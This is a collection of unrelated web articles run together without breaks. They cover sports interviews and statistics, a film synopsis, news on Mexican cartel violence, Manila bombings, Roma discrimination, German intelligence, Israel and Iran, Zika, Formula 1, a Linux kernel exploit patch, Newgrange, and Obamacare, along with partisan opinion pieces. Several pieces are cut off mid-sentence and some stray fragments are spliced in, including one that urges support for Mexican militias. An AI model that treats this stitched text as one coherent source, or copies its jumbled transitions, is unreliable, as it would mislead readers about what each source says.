ESPN.com: If you weren't playing football, what would you do with all your time?
Finney: Most likely sit back on a secluded beach in a high-rise apartment that people know exists from pictures but can never quite identify in person. With that being said, I’ll be drinking mildly hot tea on late-summer nights overlooking the beach while Frank Sinatra dimly plays in the background by a music source that is not visible to the eye.
ESPN.com: The best part of practice?
Finney: I mean, listen, we’re talking about practice, not a game, not a game, we talking about practice. Not a game, not, not... not the game that I go out there and die for, but we’re talking about practice, man. What are we talking about? Practice?
ESPN.com: What did you enjoy most about the summer?
Finney: The suffix “mer” which is short for ‘merica! Founded in 1776 and emerging as an independent country. Not to mention ratifying a new constitution and establishing a national government. Politically speaking, I’m a fan of our system of checks and balances within the government. Other than that, I do enjoy that our earth is tilted 23.5 degrees from its axis resulting in the June equinox.
ESPN.com: Name one Illinois teammate who will surprise us this fall and why?
Finney: Not to limit anyone on my team, I’d like to defer this question at this time and change it to, “How was your day yesterday?” Wow, thanks for asking. I woke up quick, at about noon, just thought that I had to be in Rantoul soon. I hopped out the bed, wiped off my eyes, ran to the field practice is at 9. I ran on the field, looking for some trouble and ran over a receiver trying to catch a little bubble. I woke up this morning, ready to go again, but instead I’m doing a survey for ESPN.
Finney recorded 19 tackles as a reserve last season. He's slated to contribute at the STAR position this year, a hybrid safety-linebacker spot. Let's hope he's productive, so we get the chance to hear more from him.Shinji Kagawa: Closing on move away from Dortmund
Borussia Dortmund insist they have not yet finalised a deal with Manchester United for Shinji Kagawa.
However, it is widely reported that the two clubs are set to agree terms on a deal worth an initial £12million rising to £17million.
Kagawa himself is also yet to agree personal terms, but that looks unlikely to be a barrier to the 23-year-old Japanese midfielder sealing a move to Old Trafford.
The move is expected to be completed in the coming days, but Dortmund's sporting director Michael Zorc said: "There are some details still to be confirmed."
Kagawa, who has emerged a key figure for Dortmund in their recent successes, has just a year left on his current deal and he has already told the club he will not be extending his deal.Poster
Where to watch
Synopsis
Art imitates life in this quietly devastating masterpiece from Hong Sangsoo. Kim Minhee (The Handmaiden, Claire's Camera)—in the role that won her the Silver Bear for best actress in Berlin—plays Younghee, an actress reeling in the aftermath of an affair with a married film director. Younghee visits Hamburg then returns to Korea, but as she meets with friends and has her fair share to drink, increasingly startling confessions emerge.
No stranger to mining his own experience for his films, Hong, whose real-life affair with Kim stirred up a media frenzy in Korea, here confronts his personal life with a newfound emotional directness. With an incredibly raw and vulnerable performance from Kim at its center, On the Beach at Night Alone is one of the most dynamic collaborations between director and performer in contemporary cinema.
Reviews
"'On the Beach' feels more raw and personal than some of Mr. Hong's other work."
- A.O. Scott, The New York Times
"There's a dark romanticism powering Hong Sangsoo's furious, tautly controlled, yet coolly comedic drama."
- Richard Brody, The New Yorker
"Poignant and witty... a fascinating sublimation of autobiography into Hong’s precise creative terms."
- Eric Kohn, Indiewire
"As gut-wrenching, funny, and formally freewheeling as anything in recent cinema."
- Dan Sullivan, Film Comment
"An equality between performer and director which I haven’t experienced before in a film...I think it's Hong Sangsoo's best."
- Neil Bahadur, MUBI Notebook
"Touchingly direct...The beauty of Hong’s latest lies in how piercingly affecting it feels even if one isn’t aware of the personal circumstances surrounding it."
- Kenji Fujishima, Slant
"Hong’s most compelling character to date, which is appropriate, as he knows her best of all."
- Jordan Cronk, Cinema Scope2018 MLB Redux:
The 2018 MLB playoffs required 17 games in best-of-7 format to crown the 2018 MLB champion Boston Red Sox. The 17 total best-of-7 playoff games in the 2018 MLB playoffs are the fewest such games since 15 best-of-7 playoff games were required to crown an MLB champion in the 2015 MLB playoffs.
2018 NBA Redux:
The 2018 NBA playoffs required 82 games to crown the 2018 NBA champion Golden State Warriors, up from 79 last season. The nine total games in the 2018 NBA and NHL Finals are the fewest in the Spring Finals since 2007, in which only nine total Finals games were also played. In 1995 and 1983, both the NBA and the NHL Finals ended in four-game sweeps.
2018 NHL Redux:
The 84 total games required to crown the 2018 NHL champion Washington Capitals are the fewest in an NHL playoff season since 2007, when only 81 total games were played in the NHL playoff season of that year.
Game Comeback of the Fall 2018 Season:
The in-game comeback of the Fall 2018 MLB playoff season thus far was achieved by the Boston Red Sox against the Dodgers at Los Angeles on 27 October. The Red Sox trailed the Dodgers 4-runs-nil after six full innings of 2018 World Series Game 4, but rallied for the victory. In the history of best-of-7 MLB playoff games since 1905, inclusive, road teams down four runs after six full innings had a game record of only 1-68 (.014).
Series Comeback of the Fall 2018 Season:
The in-series comeback of the Fall 2018 MLB playoff season thus far was achieved by the Los Angeles Dodgers against the Milwaukee Brewers in the 2018 MLB Semifinals round. Los Angeles trailed at one point 2-games-1 without home-field advantage, but prevailed.
Game Comeback of the Spring 2018 Season:
The in-game comeback of the Spring 2018 NHL/NBA playoff season thus far was achieved by the Houston Rockets against the Warriors at Golden State on 22 May. Houston trailed Golden State 80-pts-70 after three quarters of their 2018 NBA Western Conference Finals Game 4, but rallied for the victory. In the history of best-of-7 NBA playoff games since 1947, inclusive, road teams down ten points after three quarters had a game record of only 1-75 (.013).
Series Comeback of the Spring 2018 Season:
The in-series comeback of the Spring 2018 NHL/NBA playoff season thus far was achieved by the Cleveland Cavaliers against the Boston Celtics in the 2018 NBA Semifinals round. Cleveland trailed 2-games-nil and 3-games-2 without home-court advantage at separate times in the series, but prevailed. The Cleveland series victory reduced the Boston best-of-7 NBA playoff series record to 37-1 in the wake of a 2-games-nil series lead.
Fall 2018 Ousters:
start (in Milwaukee): 10/12, 8:10pmEDT
---Semifinals Round--
Houston: 10/18, 11:42pmEDT
Milwaukee: 10/20, 11:15pmEDT
---Finals Round--
Los Angeles Dodgers: 10/28, 11:17pmEDT
end (in Los Angeles): 10/28, 11:17pmEDTBy Theodore Shoebat
In the last 24 hours violence has resurged in the Mexican state of Michoacan. Six young men were abducted and killed by organized crime gangs in Ecuandureo; while in Morelia four people were killed and in Zamora today two brothers were executed.
In the first case, the Attorney General said that authorities managed to capture seven people who are accused of participating in the multiple murders; among them is a former agent of the judicial police in Michoacan.
The bodies of six young men were found in a plot, all of them shot at close range. The bodies already showed signs of decomposition, so it is presumed that their deaths were several days ago.
While in Morelia police have no clues about the murder of four men who were living together in a private home, where they were massacred.
In the city of Apatzingan an armed attack sent bursts of shots on a home, and grenades put a parked vehicle to flames. In Zamora, in broad daylight, two brothers were gunned down.
All this happened within hours after the attorney general, Joseph Martin Rangel Castro, reported that crime and violence in Michoacan had plummeted in recent months.
Also in recent days clashes were reported in the area of Infiernillo between organized crime gangs and police forces, following the death of drug trafficker Carlos Rosales.
All of this violence taking place in Mexico means that the nation is entering a civil war. These types of events are ones you would hear happening in Syria and Iraq, but they are occurring in Mexico. Mexico is on the brink on civil war. The cartels have already been fighting the militia army, Las Autodefensas. Now these self-defense armies are developing throughout Mexico. The righteous uprising began in Michoacan, and now you have militias in Guerrero, Sinaloa, Tamaulipas, Veracruz and they will continue to come about in other states. This is the restoration of the Cristeros, Catholic warriors who revolted against the anti-Christian government of Mexico in the 1920s and 30s.
This war will continue between the Autodefensas and the cartels, but ultimately it will be between the Autodefensas — the New Cristeros — and the biggest cartel, the Mexican government. I interviewed the o
fficial spokesman of the Autodefensas, Jorge Vasquez Valencia, to discuss the violence in Mexico and the noble uprising that every American needs to support:
print(6TH UPDATE) The blasts take place a week after an explosion in the area hurt 14 people
Published 8:09 PM, May 06, 2017
MANILA, Philippines (6th UPDATE) – Two people were killed and 6 others injured in two explosions in Quiapo, Manila, on Saturday, May 6.
The first bast happened along Norzagaray Street corner Elizondo Street near the Manila Golden Mosque at 5:55 pm on Saturday, killing two people – one of them named Mohamad Bainga – and hurting 4 others, police said.
A second explosion happened near the first blast site, less than two hours later. Police reported that a member each of the Explosives Ordinance Disposal and the Scene of the Crime Operatives teams, who were securing the first blast site, were hurt in the second explosion.
Police identified the SOCO-Manila Police District member as Eliza Arturo, who was slightly injured and was brought to the Medical Center Manila; and the other as Police Office 2 Aldrin Resos who was administered first aid.
NCRPO chief Director Oscar Albayalde said in an interview on ANC Saturday night that in the first blast, the explosive was contained in a package that was intended for a "specific person" he did not identify.
The two people who were killed were the person bearing the package and the caretaker who received it, he said.
Those who were hurt in the first blast were people in the adjacent stalls, Albayalde said, adding that they only suffered "minor injuries" that required only 3of the 4 to be brought to the hospital.
The NCRPO identified the 3 victims as Jaber Gulam of Lanao Del Sur and Datu Sohair Adapun of Marawi City who were brought to the Mary Child Hospital, and Hajhi Ali of Gunao, Quiapo, who was brought to the UST hospital.
'No indications' of terrorist attack
"There are no indications that this is a terrorist attack. The package was intended for a specific person," Albayalde said, responding to questions in the ANC interview.
When asked, he said that the proximity of the blast to the mosque was part of the investigation.
EOD teams were deployed to secure the Islamic Center in Quiapo and investigate the cause of the blast.
Asked whether the blasts were connected to the April 28 explosion in Quiapo that hurt 14 people, Albayalde said: "We cannot determined that as yet. As of this time, there is no indication of any connection to the incident last April 28." (READ: Quiapo blast victim loses leg, alone in hospital)
Police said that a pipe bomb caused the April 28 blast, and insisted it was not a terrorism incident related to the gathering of political leaders. Manila was hosting the Association of Southeast Asian Nations (ASEAN) Summit and Related Meetings when that blast happened.
In a statement late Saturday night, Albayalde said the police "will leave no stone unturned until we make arrests and give justice to the victims."
He urged the public to remain vigilant and to refrain from posting "unconfirmed" information on social media.
"While our team assess and investigate the situation in Quiapo, I urge everyone to remain vigilant and provide cooperation to our policemen especially those living the area of explosion," he said.
"Your authorities are on top of the situation, while there is no reason for the public to be alarmed, I request everyone especially those on social media to please refrain from posting and passing on unconfirmed information so we do not sow fear or mislead the public," the NCRPO chief added. – Rappler.com[Washington] State Rep. Liz Pike (R) has proposed gutting minimum wage laws by allowing employers to ignore them for more than four months of a new employee’s tenure. The Republican says her idea allows businesses to pay a “training wage” for unskilled workers who would otherwise not be worth hiring and that it is therefore “a job creator for young people,” according to The Columbian. Pike’s bill, which allows employers to pay new workers less than minimum wage for up to 680 hours, does not restrict the wage law loophole to young workers, however. [...] After paying sub-minimum wages to new workers for four months or more, employers would be under no obligation to keep them on the payroll at higher pay rates, giving businesses incentive to simply let people go and pick up a new “trainee” for the next four months.
A strong majority of Americans want the minimum wage raised to $10.10. But today's Republican Party is so extreme that its elected officials aren't just standing in the way of increasing the minimum wage, they're proposing ways to weaken it like this:That's extremely unlikely to pass in Washington, which has the highest minimum wage of any state in the country at this point, at $9.32 an hour, and where there is momentum behind raising it further. But this is where Republicans are headed when they express faux concern about minimum wage increases putting teenagers out of work, because they just aren't worth the higher wage. It's about creating loopholes for employers to pay some people less, pitting minimum wage workers against subminimum wage workers just as they pit union against non-union, workers with benefits against those without. It's about wanting to weaken the minimum wage when and where they can.
We're talking about a party, after all, that put "flexibility" on the minimum wage in the Pacific territories as a goal in its 2012 platform, after several of its 2010 Senate candidates and 2012 presidential candidates argued for repealing or reducing the federal minimum wage of $7.25 an hour. Never underestimate the economic damage Republicans want to do to working people.Romania’s anti-discrimination council, CNCD, on Monday fined President Traian Basescu 600 lei (about 130 euro) for saying that Roma/Gypsy people avoid work and make a living mainly by stealing.
Basescu made his comments back in 2010 at a news conference in Slovenia. Addressing the problem of Roma integration, he said: “Very few of them want to work … and traditionally, many of them live off stealing”.
In the first instance, CNCD declined to take up complaints about his comment, but it later reacted following a court ruling.
Roma activists welcomed the imposition of the fine. “It is an important, and even more symbolic, act of justice. We hope this decision will make other people stop discriminating against the Roma people,” Marian Mandache, from the Romani Criss Roma rights organization, said.
Basescu himself has not reacted in public about the ruling.
The President has a history of making such statements. In May 2007 he called a journalist who was filming him out shopping with his wife a “stinking gypsy” after she refused to stop filming him.
After the CNCD issued Basescu with a warning, he disputed this before the Appellate Court, which rejected his complaint.
Ambivalence over the Roma/Gypsy issue prevails in Romanian public discourse.
While TV stations and the print media almost exclusively use the term “Roma”, they still allow comments on their websites that refer in highly discriminatory and even offensive terms to “Gypsies”.
Polls show that over two-thirds of Romanians prefer to use “Gypsy”, mainly because they worry that “Roma” sounds like “Romanian”.
However, international Roma rights organizations insist that “Gypsy” is a pejorative and discriminatory term.
Romania is officially home to some 620,000 Roma, although it is widely believed that their real number is at least twice as large.
Many people of Roma origin do not declare their ethnicity on account of the widespread prejudice they face in Romania.
This article was produced as part of a project funded by the Black Sea Trust for Regional Cooperation.Germany's foreign intelligence service, the BND, helped root out the location of deposed Libyan dictator Moammar Gadhafi last Thursday before his capture, security sources with knowledge of the developments told SPIEGEL.
Indeed, the fugitive former leader's exact whereabouts in his hometown of Sirte had been known for weeks by the BND ahead of his capture and subsequent death on Oct. 20. Agents within the organization have a long tradition of cultivating sources in the Middle East, and managed to determine where the fallen dictator had hidden himself from revolutionary forces, the sources said.
But no geodata that could have led to a targeted strike was shared, German security insiders told SPIEGEL. Still, it appears that NATO forces had a clear idea of Gadhafi's location. When he attempted to flee Sirte on Oct. 20, French fighter jets fired on his convoy of vehicles.
The BND's operations in the Libyan conflict would not be the first time the organization has been involved in a foreign war. They were also active during the Iraq War in 2003. Though then-Chancellor Gerhard Schröder had vehemently rejected playing an active role in the conflict, German agents nevertheless delivered intelligence from Baghdad to United States officials.
In a similar turn of events, Germany chose to abstain from voting on a United Nations Security Council resolution on March 17 that called for the use of military force to protect Libyan civilians. It was an unpopular decision among Germany's traditional Western allies, which raises the question of whether the BND's intelligence efforts to locate Gadhafi may have been undertaken to repair the political damage.
On the other hand, their involvement could also raise questions about whether the BND is partially responsible for Gadhafi's death.
Visit SPIEGEL ONLINE International on Monday to read the full story.Despite the interim deal between the U.S. and Iran, Israel will still beat the drum of protest until the six-month agreement expires, when a joint military exercise with the U.S. will help it ram a message home to the Iranians, says a high-ranking Israeli official
Abur Sultan / AFP / Getty Images Israeli Prime Minister Benjamin Netanyahu speaks as he chairs the weekly Cabinet meeting at his office in Jerusalem on Nov. 24, 2013
Over the next six months, while Washington and other world powers bend to the nitty-gritty of rolling back Iran’s nuclear program through talks, Israel will likely continue to dissent, while making conspicuous efforts to rehabilitate the military threat that did so much to bring Tehran’s project onto the agenda.
“The strategic decision is to continue to make noise,” a high-ranking Israeli officer tells TIME. The racket, the official says, will come to a head in six months, just as the interim agreement signed on Sunday is due to expire.
“In May there’s going to be a joint training exercise with the Americans,” says the officer, who asked not to be identified since he was discussing operations not yet officially announced. “It’s going to be big.”
Israel and the U.S. routinely hold joint exercises, and a spokesman for the U.S. European Command (EUCOM) said the exercise in the spring was planned independent of events unfolding in the region. “I think we’re still in the process of deciding the scale of the exercise,” says Captain John W. Ross, the EUCOM spokesman.
But if war is the continuation of politics by other means, as the military theorist Carl von Clausewitz famously put it, war games are an opportunity to make a statement without spilling blood — especially given the view (which increased sharply after U.S. President Barack Obama demurred on his vow to strike Syria) that Washington has cooled on the prospect of new military operations. “The wind from the Americans into the Israeli sails is, ‘We will maintain our capability to strike in Iran, and one of the ways we show it is to train,’” the senior Israeli officer tells TIME. “It will send signals both to Israel and to the Iranians that we are maintaining our capabilities in the military option. The atmosphere is we have to do it big time, we have to do a big show of capabilities and connections.”
(MORE: Israel Renews Warnings of Military Action After Iran Nuclear Deal)
Months remain for that to change, of course. But to those watching closely — including Tehran — full-throated U.S. participation in a May 2014 joint exercise would stand in especially vivid contrast to what transpired in the last large joint exercise: Washington quietly scaled back its level of participation, amid fears that Israel was growing too bold.
Since then, if anything, Israeli threats to strike Iran on its own have lost a good deal of their punch, analysts say. “It’s become irrelevant,” says Yiftah Shapir, a research fellow at the Institute for National Security Studies (INSS) at Tel Aviv University. Part of the problem is that the window of opportunity for an effective Israeli air strike closed in February when
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the interview.
How is it possible to give every student an A+? Don’t we need some kind of evaluation system?
You put “A+” in the box where it says “student grade.” It’s quite easy. And with that simple move, you remove the instrument of power and oppression in the classroom. My job description says nothing about rank ordering students for employers or graduate school. It says “optimize education.”
You talk about students accepting an inferior system out of the desire (or need) for a degree. What can they do to change the system?
Students have as much power as they want in the classroom. They can impose whatever syllabus or grading system they want. Try it and see. If you are the only one in the class to openly challenge the professor’s absolute control then you will also be the only one to get an education. Better to learn freedom than to degrade yourself by obedience to an absurd order.
When you returned for the film session, were you expecting to be escorted off the campus in handcuffs? What was that experience like?
No, I did not expect it. I did not expect the administration to be so bold as to have dissidents arrested in an auditorium full of students and community members. I did not expect the police state mentality to extend to white male professors.
My main reaction to being cuffed was noting how gentle and polite the police were compared to how I have seen them cuff and arrest students and community members on campus, always under direct orders from the upper administration. I actually think they have special “prof cuffs” that don’t cut and hurt your wrists. I have seen what the regular cuffs do.
What is your vision of higher education?
Liberation. Independent thinking. The present prison system of education is a concentration camp that first teaches obedience, followed by indoctrination at the graduate and professional levels. Farber’s essay from the 60s The Student as N—– is dead on in my book, only it has gotten much worse since the 60s, as explained in Churchill’s essay Pacifism as Pathology.
If you are really an anarchist, what would you say to someone who argues that rules and social order are necessary in an institution like the academy?
I agree. Anarchists are not against order and organization, but they fight impositions of undemocratic structures. Anarchy is not chaos. Anarchists are against illegitimate and self-preserving power structures (hierarchies).
What do you expect will happen next in your case?
The present media debate will be stifled as soon as the other side senses that some people risk catching on, as soon as the Lie begins to be exposed.
***
Wrap Up
Many of us feel threatened by unconventional ideas. Whenever I mention Ayn Rand, for example, several people always send me notes expressing their concern or disappointment in me.
My response is that you don’t have to be afraid or threatened by controversial ideas. If your belief structure is threatened by someone else’s ideas, then it probably wasn’t very strong to begin with. If you still feel threatened by alternative ideas despite having a strong belief structure, then perhaps the alternative ideas contain more truth than you initially want to admit.
I’ve got a few other features like this scheduled for the rest of the spring. Among other things, we’ll look at passive versus active resistance, objectivism, and the life of Malcolm X. For now, the point is that we can learn a lot from people who are unconventional or controversial. When a member of an elite group (tenured professors) appears willing to forfeit his position over the right to teach as he sees fit, I think he’s worth paying attention to.
Speaking of Professor Rancourt
I’d love to know what you think of Denis Rancourt’s ideas. If you have any additional questions for him, post them up and we’ll see if we can get him to respond. To track the status of his legal case against the University of Ottawa and watch a recent press conference with him, head to AcademicFreedom.ca.
###Anadolu Agency talks to chief researcher at center where Zika was first identified in 1947
By Halima Athumani
ENTEBBE, Uganda – A top scientist at the Uganda-based facility that first identified the Zika virus has told Anadolu Agency that the bug is multiplying and becoming more adaptable to humans.
Dr. Julius Lutwama, senior principal research officer at the Uganda Virus Research Institute, said the virus outbreak in the Americas can only be reduced by supportive treatment and through controlling disease-carrying mosquitoes.
“There are two strains of the Zika virus, which include the African Zika virus and the Asian strain, which are slightly different,” he said.
“The strain that is causing problems in the Americas comes from Asia, went to Micronesia, Polynesia and moved to South America.”
Zika is a mosquito-borne viral infection that, although rarely fatal, has been linked to microcephaly, a birth defect that affects brain development in fetuses. There is no vaccine or treatment.
First identified in humans in 1952 in Uganda and Tanzania, Brazil reported the first of the latest cases in May last year and the disease has since spread to 22 other countries and territories in the region, infecting thousands.
The World Health Organization is to hold an emergency meeting on Monday to determine if the outbreak constitutes an international public health emergency.
Lutwama – who works at the institute in the Zika Forest, near Entebbe – said the virus’ genome had changed slightly and “become more adaptable to humans, so it’s multiplying at a very high rate.”
– Risk to mothers, babies
Emphasizing the risk to pregnant women and unborn children, he added: “Babies in the womb grow at a very fast rate and when a virus crosses into the womb then it grows as fast as the child grows.
“This means there is a lot of virus being produced in the quickly growing cells [so] it affects the child.”
The WHO and the U.S. Centers for Disease Control and Prevention are working around the clock to find a vaccine.
Lutwama said no vaccine has so far been developed, despite the disease being identified more than 60 years ago, because infections were mild and there were few cases.
He said the difficulty in eradicating the virus was that “they only become alive when they get into cells, so the moment you say you want to kill the virus it means you have to kill the cells – which means you have to kill the person.”
Between 1947, when the virus was identified in monkeys, and 2007, only 14 cases of the virus were recorded around the world, including two in Uganda. In 2013, 200 cases were recorded globally.
Lutwama’s research center focuses on viral infections and has identified infections including the Bundibugyo virus, a strain of the Ebola virus, in 2007.
Lutwama, an experienced arbovirologist who has been studying viruses passed by insects and ticks for more than 30 years, said Uganda’s most recent recorded Zika virus case was in 2012.
“We had dismissed her case for a while until we collected a blood sample that revealed she had four antibodies to four different infections but there were no confirmatory tests,” Lutwama said.
“In Dakar [Senegal, where samples were forwarded] two more viruses were identified, including the Zika virus.”
Uganda is home to up to 77 viruses transmitted by insects, with 34 of these commonly found elsewhere around the world.
Research has found the viruses thrive in tropical climates amid the right flora and fauna.Ricciardo: We have problems with the whole RB11 package
Daniel Ricciardo has admitted that Red Bull’s problems run deeper than Renault power, and in fact the entire RB11 package is not quite up to scratch.
Particularly after Australia, bosses of the former world championship-dominant team pointed the finger angrily at its French engine partner.
Renault hit back with equal venom, accusing Red Bull of pedalling “lies” about its only issue in 2015 being the struggling turbo V6.
Asked directly if it is right to say the engine is the only problem, senior Red Bull driver Ricciardo admitted ahead of the Chinese Grand Prix weekend: “It’s the whole package. But this means that we have the opportunity now to look in many areas for improvement.”
After two races, Ricciardo lies a distant eighth in the 2015 drivers’ standings, despite finishing last season ‘best of the rest’ behind the Mercedes duo.
“Put it this way — it’s been challenging,” he smiled. “But the season is still young and many things can change. We will just have to have some patience.”
However, Ricciardo admitted it was difficult to cope two weeks ago when a driver he notably defeated last year – former teammate Sebastian Vettel – lapped him en route to victory in a Ferrari.
“I was surprised,” he said. “We saw in winter testing that Ferrari looks good, but to beat Mercedes in the second race of the season surprised everybody I think.”
“On the other hand, it’s good for our sport that another car is at the front — good for Ferrari obviously but also for everybody else. It shows that Mercedes is not unbeatable,” he added.It's not everyday that there is a public security exploit published for the Linux kernel, yet that is what happened in early July. Though the flaw itself was patched in the mainline Linux kernel several weeks prior to the public exploit code being published, not all users may have patched. It could have been a lot worse.
The issue of patching aside, the public exploit could easily have been a zero day exploit on the Linux kernel itself, were it not for the fact that the bug that enables the exploit was caught by a scan from code scanning vendor Coverity. The Linux kernel has been actively scanned by Coverity since at least 2004 in an effort to find bugs and improve code quality.
"Our builds were broken in February and March so we didn't see it immediately when the code was first committed," David Maxwell, open source strategist for Coverity told InternetNews.com "But we've had it flagged in the system since March and it was fixed on the fifth of July."
The public exploit was published on July 17th.
The actual flaw exploit involves a number of components including a null pointer defect, which is a type of code flaw that Coverity scans for. A Null pointer typically leads to a system crash, but this particular one could have been used in concert with code compiler optimization, enabling an attacker to take control of certain memory blocks on the target computer.
In addition to fixing the Null pointer on July 5th, Maxwell noted that on July 16th, there was a code commit to the Linux kernel to disable the specific compilation optimization option, to help further ensure that similar exploit vectors are blocked.
Coverity's code scanning system, called Scan, identifies software defects such as null pointer errors, which are relatively common in open source software.
In 2006, Coverity began a multi-year effort to scan over two hundred open source software applications originally sponsored by the US Department of Homeland Security. In 2008, Coverity reported that Null pointer errors were the most common type of error found in the open source applications they scanned, representing nearly 28 percent of all bugs founds.
Not all bugs are security exploits though.
Maxwell commented that it's difficult to come up with a ratio of how many bugs there are in code, versus how many vulnerabilities, since many exploits depend on the larger application environment.
"People with an engineering mindset tend to break things down into little pieces for analysis where part A plugs into part B and then into Part C," Maxwell said. "The nature of security issues is that they are system problems. They have to be looked at as, A plus B plus C as the full interaction. So if you try and ask how many part A's lead to defects, it's a hard ratio to figure out."
One thing that Maxwell is certain of, is the need to continuously scan code bases as applications continue to develop and grow.
Coverity is set to release a new version of its full Scan report later this year which will detail the overall progress and trends they've seen in open source code.
Additional defects pile up
"Over the period of about two years we saw about 153 percent gain in the number of additional defects from the original scan, as people committed new code," Maxwell said.
Maxwell commented that a few years ago, people might have questioned the value of continuing to scan the same projects over and over, after all the initial defects were found and fixed.
"We've definitely seen that as you continue to scan new code that comes in, we continue to find issues like this recent Linux security issue," he said.Democratic Rep. Barbara Lee said Friday evening that she is concerned that President Trump is placing the "executive branch in the hands of an extremist" by announcing Homeland Security Secretary John Kelly as his new chief of staff.
"By putting Gen John Kelly in charge, Pres Trump is militarizing the White House & putting our executive branch in the hands of an extremist," Lee, who hails from California, said in a tweet.
By putting Gen John Kelly in charge, Pres Trump is militarizing the White House & putting our executive branch in the hands of an extremist. — Rep. Barbara Lee (@RepBarbaraLee) July 28, 2017
Her criticism came shortly after Trump tweeted that Kelly would be taking Reince Priebus' job.
It is unclear what exactly irks Lee about Kelly. The former Marine general has taken a hardline stance on illegal immigration enforcement as head of DHS, which has seen illegal immigration sharply decline in the first six months of the Trump administration.
Kelly was confirmed as the DHS chief by the Senate by an 88-11 vote on Jan. 20. Though most Democrats supported him, some disliked his refusal to embrace former President Barack Obama's executive orders granting some of the protections of legal status on children brought to the United States illegally.
Kelly officially starts his new job on Monday.(CNN) — "It's a real sharing experience, to be in the dark waiting for the light," says Clare Tuffy, manager of Brú na Bóinne Visitor Centre in the Boyne Valley of Ireland
In 2016, nearly 33,000 people applied by lottery for entry to the Newgrange passage tomb on the mornings surrounding the winter solstice.
Only 60 were chosen.
On the days between December 18 and 23, in a spectacular feat of Stone Age engineering, a dawn sunbeam strikes through the "roofbox" opening above the tomb's entrance, then creeps along the 19-meter passageway, to where a hushed group of visitors stand waiting in the blackness of the innermost chamber.
For around 17 minutes -- weather permitting -- the chamber is flooded with light.
"There are very few experiences you can share across five millennia, with your ancestors," Tuffy tells CNN Travel. "5,000 years ago, people were waiting in the exact same spot, for the same event."
Ireland's Ancient East
Hailed by UNESCO as "Europe's largest and most important concentration of prehistoric megalithic art," the World Heritage Site of Brú na Bóinne lies less than an hour's drive north of Dublin, in the heart of what the country's tourism board has dubbed Ireland's Ancient East.
Here, three large burial mounds -- Newgrange, Knowth and Dowth -- and around 40 satellite passage graves lie in the rich, green hills of County Meath.
The valley is as fertile now as when the monuments were built using tools of stone, bone and wood by a farming community in 3,200 BCE, some 500 years before the great pyramids of Giza.
Newgrange is the most famous.
This grass-covered, quartz-ringed hump, some 86 meters across and 13.5 meters high, covers an acre of land. Its smooth exterior belies the mysterious hidden chambers within; only a fraction are open to the public.
Eternal house of the dead
The solar aligned roofbox above the entrance is unique to Newgrange. Brian Lynch/Tourism Ireland
These communal passage tombs proliferated across western Europe in the Neolithic era, linking the ancient communities with immortality.
"Their own houses would be very simple, ephemeral things of wood and clay, so for the dead they built houses that would last forever," Tuffy says.
Examples today include Gavrinis in France, Maeshowe in Scotland and Bryn Celli Ddu in Wales.
"As they got more and more sophisticated, they included the solar alignments," says Tuffy. They grew in scope also. In their day, they would most likely have been the largest monuments in the world. But there's a reason UNESCO says that the passage grave is "brought to its finest expression" in the Boyne Valley.
"About 12% of passage tombs have a significant solar alignment," explains Tuffy. "But Newgrange is unique in that it is the only one that has a special opening to allow the sun to enter."
Temple, tomb and town center
"We think for the people who built it, it was far more than just a tomb," explains Tuffy. The monuments had social, economic, religious and funerary functions.
"It would have been a place where people gathered, it would have been a place where the ancestors were honored. It is a symbol of the people's wealth, and it is a place probably where they interceded between the living and the dead."
Many of the 97 boulders -- or "kerbstones" -- that ring Newgrange are decorated with obscure carvings of spirals, circles, zigzags and triangles, which may have astronomical as well as religious significance.
in his 2012 book, "Newgrange, Monument to Immortality," Irish journalist Anthony Murphy argues that the Newgrange and Knowth were enormous calendars used by the Neolithic farmers to measure years, leap years and more.
After the Stone Age
Newgrange is better known, but Knowth has more layers of history to explore. Tony Pleavin/Tourism Ireland
"Eventually the building was such a drain on the resources of the community that they stopped building them," says Tuffy. "New ideas came to Ireland with bronze. We began to see shiny gold metal, and we all wanted to be buried in individual graves, and be buried with the good stuff. So the whole tradition changed. The monuments then were abandoned, but still honored."
Newgrange was sealed after its original use had come to an end.
It remained so until the passage and chamber were rediscovered in 1699 by one of William of Orange's men, nine years after the Dutch Protestant William of Orange's forces defeated those of King James II of England at the history-defining Battle of the Boyne.
The white quartz exterior was added in the 1970s.
While the artifacts unearthed in the Newgrange group are purely prehistoric, there are "far more layers of activity" at the Knowth group of 30 monuments, says Tuffy, which has features dating from the Neolithic period to the Middle Ages.
The Hill of Tara archaeological complex, ancient seat of the High Kings of Ireland and used from the Neolithic period to the 12th century, is a short distance away beside the River Boyne and can be combined with a day trip to Brú na Bóinne.
When to visit
On July 1, 2017 World Heritage Ireland introduced free entry for the under-12s to all of its heritage sites, including Brú na Bóinne. While summer is the busiest period, Tuffy reckons the best time to visit is off-season.
"In the autumn and winter months, the monuments stand out far more in the landscape and they're far more imposing, because all the vegetation around them falls away."
Access to the moments is via guided tour only, and visitors are capped at 150,000 a year. Entrance fees range from 4 euros ($4.50) for entry to the visitor center to 13 euros ($14.70) for entry to the center and to Newgrange and Knowth.
You can apply by post for the Solstice 2018 lottery or fill in a form at the visitor center. This year's draw takes place on September 28.
Although only a lucky few get inside, crowds of several hundred gather outside the tomb on those special winter days.
"It's always wonderful to be at Newgrange whether you're inside in the chamber waiting for the sunbeam or whether you're on the outside," says Tuffy.
"It makes you think about life and death and rebirth and about our place in the world and about continuity. It's certainly a better way to pass those days before Christmas than out shopping."
l e v a r tThe effect of the Obamacare subsidies mirrors, to a certain extent, the position of people who get health coverage through an employer-based insurance plan. Employers tend to pay the majority of the premium costs for employees, and the health coverage that workers and their families get is tax-exempt.
For many Obamacare customers with low and moderate incomes, the federal subsidies they get put them on the same footing financially with people who have job-based coverage.
The Commonwealth Fund survey found that 66 percent of Obamacare exchange customers with incomes of below $30,000 said they paid either no premiums for their coverage or less than $125 per month. That compares to 60 percent of such people in employer plans.
But the picture is different for Obamacare customers with incomes higher than $30,000. Among them, 58 percent told Commonwealth researchers that they paid more than $125 in monthly premiums, compared to 34 percent with employer-sponsored insurance.
Overall, 49 percent of Obamacare customers viewed their health plans as being affordable. That compares to 75 percent of people with employer-based insurance. Commonwealth's report noted that the difference in view is at least partly due to the fact that Obamacare customers tend to have lower incomes than people in employer plans, meaning a bigger share of their incomes are devoted to health coverage.
But Commonwealth also noted that higher-income Obamacare consumers are spending more on coverage, as a share of their income, than people who have job-based coverage.
When it comes to out-of-pocket health costs, there is also a big gap between Obamacare customers of different income groups, the survey found. That spread results from the fact that people who earn above 250 percent of the poverty level do not get any financial aid with their deductibles, copayments or coinsurance.
